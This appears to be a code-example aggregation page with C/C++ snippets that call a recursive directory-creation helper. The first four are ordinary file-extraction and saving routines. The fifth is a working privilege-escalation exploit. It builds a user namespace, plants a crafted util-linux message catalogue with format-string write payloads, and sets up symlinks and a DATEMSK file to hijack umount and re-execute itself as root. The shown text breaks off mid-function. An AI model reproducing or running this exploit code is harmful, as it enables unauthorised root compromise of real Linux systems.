コード例 #1
0
ファイル: BSA.cpp プロジェクト: Thoronador/morrowtools
bool BSA::extractAll(const std::string& outputDirName, uint32_t& extractedFileCount)
{
  extractedFileCount = 0;
  if (!hasAllStructureData())
  {
    std::cout << "BSA::extractAll: Error: not all structure data is present "
              << "to properly fulfill the requested operation!\n";
    return false;
  }

  //check for output directory
  if (!directoryExists(outputDirName))
  {
    if (!createDirectoryRecursive(outputDirName))
    {
      std::cout << "BSA::extractAll: Error: Could not create destination directory \""
                << outputDirName << "\".\n";
      return false;
    }
  }

  uint32_t i, j;
  for (i=0; i<m_FolderBlocks.size(); ++i)
  {
    //create output directory, if necessary
    if (!directoryExists(outputDirName+MWTP::pathDelimiter+m_FolderBlocks[i].folderName))
    {
      if (!createDirectoryRecursive(outputDirName+MWTP::pathDelimiter+m_FolderBlocks[i].folderName))
      {
        std::cout << "BSA::extractAll: Error: Could not create destination subdirectory \""
                  << outputDirName+MWTP::pathDelimiter+m_FolderBlocks[i].folderName << "\".\n";
        return false;
      }
    }
    //now extract each file in that directory
    for (j=0; j<m_FolderBlocks[i].files.size(); ++j)
    {
      if (!extractFile(i, j, outputDirName+MWTP::pathDelimiter+m_FolderBlocks[i].folderName
           +MWTP::pathDelimiter+m_FolderBlocks[i].files[j].fileName))
      {
        std::cout << "BSA::extractAll: Error: Could not extract file \""
                  <<m_FolderBlocks[i].folderName+MWTP::pathDelimiter
                    +m_FolderBlocks[i].files[j].fileName<< "\".\n";
        return false;
      }//if
      ++extractedFileCount;
    }//for j
  }//for i

  return true;
}
コード例 #2
0
ファイル: MpkManip.cpp プロジェクト: lorichen/xgame
	//source和target都是文件名
	bool MpkManip::extractFile(const char* source,const char* targetFilename,bool replaceExist)
	{
		bool bOk = false;
		CPathA sourceFilename;
        sourceFilename = source;
		CPathA path;
        path = targetFilename;
		CPathA parent(path.getParentDir());
		if (!parent.empty())
			createDirectoryRecursive(parent.c_str());

		if(isFile(targetFilename) && !replaceExist)return true;

		return SFileExtractFile(m_hMpk,source,targetFilename) != FALSE;
	}
コード例 #3
0
ファイル: MemStream.cpp プロジェクト: lorichen/xgame
bool MemoryStream::save(const char* newName)
{
	if (m_buffer)
	{
		CPathA path;
        path = newName;
		CPathA parent(path.getParentDir());
		if (!parent.empty())
			createDirectoryRecursive(parent.c_str());

		FileStream fs(newName);
		bool ret = (fs.open("wb") && fs.write(m_buffer, m_fileSize) && fs.close());
		fs.close();
		if (ret)
			return true;
	}
	return false;
}
コード例 #4
0
ファイル: BSA.cpp プロジェクト: Thoronador/morrowtools
bool BSA::extractFolder(const uint32_t folderIndex, const std::string& outputDirName, uint32_t& extractedFileCount)
{
  extractedFileCount = 0;
  if (!hasAllStructureData())
  {
    std::cout << "BSA::extractFolder: Error: not all structure data is present "
              << "to properly fulfill the requested operation!\n";
    return false;
  }

  if ((folderIndex==cIndexNotFound) or (folderIndex>=m_FolderBlocks.size()))
  {
    std::cout << "BSA::extractFolder: Error: invalid folder index!\n";
    return false;
  }

  //check for output directory
  if (!directoryExists(outputDirName))
  {
    if (!createDirectoryRecursive(outputDirName))
    {
      std::cout << "BSA::extractFolder: Error: Could not create destination directory \""
                << outputDirName << "\".\n";
      return false;
    }
  }

  uint32_t file_index;
  //now extract each file in that directory
  for (file_index=0; file_index<m_FolderBlocks[folderIndex].files.size(); ++file_index)
  {
    if (!extractFile(folderIndex, file_index, outputDirName+MWTP::pathDelimiter
         +m_FolderBlocks[folderIndex].files[file_index].fileName))
    {
      std::cout << "BSA::extractFolder: Error: Could not extract file \""
                << m_FolderBlocks[folderIndex].folderName+MWTP::pathDelimiter
                  +m_FolderBlocks[folderIndex].files[file_index].fileName<< "\".\n";
      return false;
    }//if
    ++extractedFileCount;
  }//for file_index

  return true;
}
コード例 #5
0
/** Prepare a process living in an own mount namespace and setup
 *  the mount structure appropriately. The process is created
 *  in a way allowing cleanup at program end by just killing it,
 *  thus removing the namespace.
 *  @return the pid of that process or -1 on error.
 */
pid_t prepareNamespacedProcess() {
  if(namespacedProcessPid==-1) {
    fprintf(stderr, "No pid supplied via command line, trying to create a namespace\nCAVEAT: /proc/sys/kernel/unprivileged_userns_clone must be 1 on systems with USERNS protection.\n");

    char *stackData=(char*)malloc(1<<20);
    assert(stackData);
    namespacedProcessPid=clone(usernsChildFunction, stackData+(1<<20),
        CLONE_NEWUSER|CLONE_NEWNS|SIGCHLD, NULL);
    if(namespacedProcessPid==-1) {
      fprintf(stderr, "USERNS clone failed: %d (%s)\n", errno, strerror(errno));
      return(-1);
    }

    char idMapFileName[128];
    char idMapData[128];
    sprintf(idMapFileName, "/proc/%d/setgroups", namespacedProcessPid);
    int setGroupsFd=open(idMapFileName, O_WRONLY);
    assert(setGroupsFd>=0);
    int result=write(setGroupsFd, "deny", 4);
    assert(result>0);
    close(setGroupsFd);

    sprintf(idMapFileName, "/proc/%d/uid_map", namespacedProcessPid);
    int uidMapFd=open(idMapFileName, O_WRONLY);
    assert(uidMapFd>=0);
    sprintf(idMapData, "0 %d 1\n", getuid());
    result=write(uidMapFd, idMapData, strlen(idMapData));
    assert(result>0);
    close(uidMapFd);

    sprintf(idMapFileName, "/proc/%d/gid_map", namespacedProcessPid);
    int gidMapFd=open(idMapFileName, O_WRONLY);
    assert(gidMapFd>=0);
    sprintf(idMapData, "0 %d 1\n", getgid());
    result=write(gidMapFd, idMapData, strlen(idMapData));
    assert(result>0);
    close(gidMapFd);

// After setting the maps for the child process, the child may
// start setting up the mount point. Wait for that to complete.
    sleep(1);
    fprintf(stderr, "Namespaced filesystem created with pid %d\n",
        namespacedProcessPid);
  }

  osReleaseExploitData=osSpecificExploitDataList;
  if(osRelease) {
// If an OS was detected, try to find it in list. Otherwise use
// default.
    for(int tPos=0; osSpecificExploitDataList[tPos]; tPos+=4) {
      if(!strcmp(osSpecificExploitDataList[tPos], osRelease)) {
        osReleaseExploitData=osSpecificExploitDataList+tPos;
        break;
      }
    }
  }

  char pathBuffer[PATH_MAX];
  int result=snprintf(pathBuffer, sizeof(pathBuffer), "/proc/%d/cwd",
     namespacedProcessPid);
  assert(result<PATH_MAX);
  char *namespaceMountBaseDir=strdup(pathBuffer);
  assert(namespaceMountBaseDir);

// Create directories needed for umount to proceed to final state
// "not mounted".
  createDirectoryRecursive(namespaceMountBaseDir, "(unreachable)/x");
  result=snprintf(pathBuffer, sizeof(pathBuffer),
      "(unreachable)/tmp/%s/C.UTF-8/LC_MESSAGES", osReleaseExploitData[2]);
  assert(result<PATH_MAX);
  createDirectoryRecursive(namespaceMountBaseDir, pathBuffer);
  result=snprintf(pathBuffer, sizeof(pathBuffer),
      "(unreachable)/tmp/%s/X.X/LC_MESSAGES", osReleaseExploitData[2]);
  createDirectoryRecursive(namespaceMountBaseDir, pathBuffer);
  result=snprintf(pathBuffer, sizeof(pathBuffer),
      "(unreachable)/tmp/%s/X.x/LC_MESSAGES", osReleaseExploitData[2]);
  createDirectoryRecursive(namespaceMountBaseDir, pathBuffer);

// Create symlink to trigger underflows.
  result=snprintf(pathBuffer, sizeof(pathBuffer), "%s/(unreachable)/tmp/down",
      namespaceMountBaseDir);
  assert(result<PATH_MAX);
  result=symlink(osReleaseExploitData[1], pathBuffer);
  assert(!result||(errno==EEXIST));

// getdate will leave that string in rdi to become the filename
// to execute for the next round.
  char *selfPathName=realpath("/proc/self/exe", NULL);
  result=snprintf(pathBuffer, sizeof(pathBuffer), "%s/DATEMSK",
      namespaceMountBaseDir);
  assert(result<PATH_MAX);
  int handle=open(pathBuffer, O_WRONLY|O_CREAT|O_TRUNC, 0755);
  assert(handle>0);
  result=snprintf(pathBuffer, sizeof(pathBuffer), "#!%s\nunused",
      selfPathName);
  assert(result<PATH_MAX);
  result=write(handle, pathBuffer, result);
  close(handle);
  free(selfPathName);

// Write the initial message catalogue to trigger stack dumping
// and to make the "umount" call privileged by toggling the "restricted"
// flag in the context.
  result=snprintf(pathBuffer, sizeof(pathBuffer),
      "%s/(unreachable)/tmp/%s/C.UTF-8/LC_MESSAGES/util-linux.mo",
      namespaceMountBaseDir, osReleaseExploitData[2]);
  assert(result<PATH_MAX);

  char *stackDumpStr=(char*)malloc(0x80+6*(STACK_LONG_DUMP_BYTES/8));
  assert(stackDumpStr);
  char *stackDumpStrEnd=stackDumpStr;
  stackDumpStrEnd+=sprintf(stackDumpStrEnd, "AA%%%d$lnAAAAAA",
      ((int*)osReleaseExploitData[3])[ED_STACK_OFFSET_CTX]);
  for(int dumpCount=(STACK_LONG_DUMP_BYTES/8); dumpCount; dumpCount--) {
    memcpy(stackDumpStrEnd, "%016lx", 6);
    stackDumpStrEnd+=6;
  }
// We wrote allready 8 bytes, write so many more to produce a
// count of 'L' and write that to the stack. As all writes so
// sum up to a count aligned by 8, and 'L'==0x4c, we will have
// to write at least 4 bytes, which is longer than any "%hhx"
// format string output. Hence do not care about the byte content
// here. The target write address has a 16 byte alignment due
// to varg structure.
  stackDumpStrEnd+=sprintf(stackDumpStrEnd, "%%1$%dhhx%%%d$hhn",
      ('L'-8-STACK_LONG_DUMP_BYTES*2)&0xff,
      STACK_LONG_DUMP_BYTES/16);
  *stackDumpStrEnd=0;
  result=writeMessageCatalogue(pathBuffer,
      (char*[]){
          "%s: mountpoint not found",
          "%s: not mounted",
          "%s: target is busy\n        (In some cases useful info about processes that\n         use the device is found by lsof(8) or fuser(1).)"
      },